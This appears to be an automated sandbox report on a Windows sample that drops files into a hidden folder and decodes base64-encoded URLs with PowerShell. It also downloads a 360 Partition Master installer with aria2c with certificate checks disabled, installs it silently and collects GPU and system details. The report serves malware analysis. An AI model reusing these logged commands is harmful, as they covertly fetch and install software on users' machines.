Technical Information
Modifies file system
Creates the following files
- %HOMEPATH%\lgx\aria2c.exe
- %HOMEPATH%\lgx\libcdix64.dll
- %HOMEPATH%\lgx\nwinfox64.exe
- %HOMEPATH%\lgx\pci.ids
- %HOMEPATH%\lgx\1.cmd
- nul
- %TEMP%\gpuinfo.txt
- %HOMEPATH%\lgx\diskpartsetup_363291.exe.aria2__temp
- %HOMEPATH%\lgx\diskpartsetup_363291.exe
- %APPDATA%\360 partition master\cacert.dat
- %APPDATA%\360 partition master\dumpuper.ini
- %APPDATA%\360 partition master\360base.dll
- %APPDATA%\360 partition master\360common.dll
- %APPDATA%\360 partition master\360net.dll
- %APPDATA%\360 partition master\360netbase.dll
- %APPDATA%\360 partition master\360netul.dll
- %APPDATA%\360 partition master\360util.dll
- %APPDATA%\360 partition master\crashreport.dll
- %APPDATA%\360 partition master\diskbackup.dll
- %APPDATA%\360 partition master\diskchk.exe
- %APPDATA%\360 partition master\diskfsutil.dll
- %APPDATA%\360 partition master\diskmain.exe
- %APPDATA%\360 partition master\diskpart.dll
- %APPDATA%\360 partition master\dumpuper.exe
- %APPDATA%\360 partition master\everyfile.dll
- %APPDATA%\360 partition master\loginserver.exe
- %APPDATA%\360 partition master\nativediskpart.exe
- %APPDATA%\360 partition master\nativediskpart64.exe
- %APPDATA%\360 partition master\sodadownloader.exe
- %APPDATA%\360 partition master\softmgr\webview.exe
- %APPDATA%\360 partition master\sudaupdateservice.dll
- %APPDATA%\360 partition master\uninst.exe
- %APPDATA%\360 partition master\vss.exe
- %APPDATA%\360 partition master\vss64.exe
- %APPDATA%\microsoft\windows\start menu\programs\360 partition master\360c盘扩容大师.lnk
- %APPDATA%\microsoft\windows\start menu\programs\360 partition master\卸载360c盘扩容大师.lnk
- %HOMEPATH%\desktop\360c盘扩容大师.lnk
Sets the 'hidden' attribute to the following files
- %HOMEPATH%\lgx\1.cmd
Deletes following files that it created itself
- %HOMEPATH%\lgx\diskpartsetup_363291.exe.aria2
Moves the following files
- from %HOMEPATH%\lgx\diskpartsetup_363291.exe.aria2__temp to %HOMEPATH%\lgx\diskpartsetup_363291.exe.aria2
Network activity
Connects to
- 'vi#.#23pan.cn':443
- 'oc##.#igicert.cn':80
- 'st####.rapidssl.com':80
- 'cn.#pihz.cn':443
- 'qy###.weixin.qq.com':443
- 'sf##.#60safe.com':443
- 's.##0.cn':443
- 'oc##.crlocsp.cn':80
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?a2##############
- http://oc##.#igicert.cn/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEA%2FgMquETQMxBsUMjhPIsGg%3D
- http://st####.rapidssl.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRJiUKgT2m88fZ4nxc1Lu6M%2FjvkagQUDNtsgkkPSmcKuBTuesRIUojrVjgCEAd4V2iV2b3G0kATGz4UOAg%3D
- http://oc##.crlocsp.cn/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRgH%2FPN%2F2KBN5Fec0GB96MNB1kxHgQUmZst9ovwo9uJ1J775XQvaNKQT%2BQCEAUL7EPXYR8YHbcpJFEsOx8%3D
Other
- 'vi#.#23pan.cn':443
- 'cn.#pihz.cn':443
- 'qy###.weixin.qq.com':443
- 'sf##.#60safe.com':443
- 's.##0.cn':443
UDP
- DNS ASK vi#.#23pan.cn
- DNS ASK oc##.#igicert.cn
- DNS ASK st####.rapidssl.com
- DNS ASK cn.#pihz.cn
- DNS ASK qy###.weixin.qq.com
- DNS ASK sf##.#60safe.com
- DNS ASK s.##0.cn
- DNS ASK oc##.crlocsp.cn
Miscellaneous
Searches for the following windows
- ClassName: 'Progman' WindowName: 'Program Manager'
- ClassName: 'UserServer_LoginServer_Class' WindowName: ''
Creates and executes the following
- '%HOMEPATH%\lgx\nwinfox64.exe' --sys --cpu --smbios=2 --pci=03
- '%HOMEPATH%\lgx\nwinfox64.exe' --pci=03
- '%HOMEPATH%\lgx\aria2c.exe' -c --async-dns=false --disable-ipv6=false -s40 -x40 --min-split-size=1M --check-certificate=false --file-allocation=none https://sfdl.360safe.com/netunion/20140425/diskpartSetup_363291.exe --co...
- '%HOMEPATH%\lgx\diskpartsetup_363291.exe' --silent --param-
- '%APPDATA%\360 partition master\loginserver.exe' --sem-server --sem-name="diskpartSetup_363291.exe" --sem-path="%appdata%360 Partition Master\data"
- '%APPDATA%\360 partition master\loginserver.exe' --sem-server --sem-name="diskpartSetup_363291.exe" --sem-path="%appdata%360 Partition Master\data" --lowrun
Executes the following
- '<SYSTEM32>\cmd.exe' /C "%HOMEPATH%\lgx\1.cmd"
- '<SYSTEM32>\mode.com' con: cols=110 lines=35
- '<SYSTEM32>\chcp.com' 936
- '<SYSTEM32>\cmd.exe' /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wYW5kYS5saWd4bmcuY24='))"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wYW5kYS5saWd4bmcuY24='))"
- '<SYSTEM32>\cmd.exe' /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9zaWx2ZXIueXVrYWlkaS5jb20='))"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9zaWx2ZXIueXVrYWlkaS5jb20='))"
- '<SYSTEM32>\cmd.exe' /c "%HOMEPATH%\lgx\1.cmd silent_install >nul 2>&1"
- '<SYSTEM32>\cmd.exe' /c nwinfox64.exe --pci=03 2>&1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Get-CimInstance -ClassName Win32_VideoController | ForEach-Object { $_.DriverVersion; $_.DriverDate.ToString('yyyy-MM-dd') }"
- '<SYSTEM32>\cmd.exe' /c type "%TEMP%\gpuinfo.txt"
- '<SYSTEM32>\cmd.exe' /c powershell -command "$Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown').Character"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown').Character"
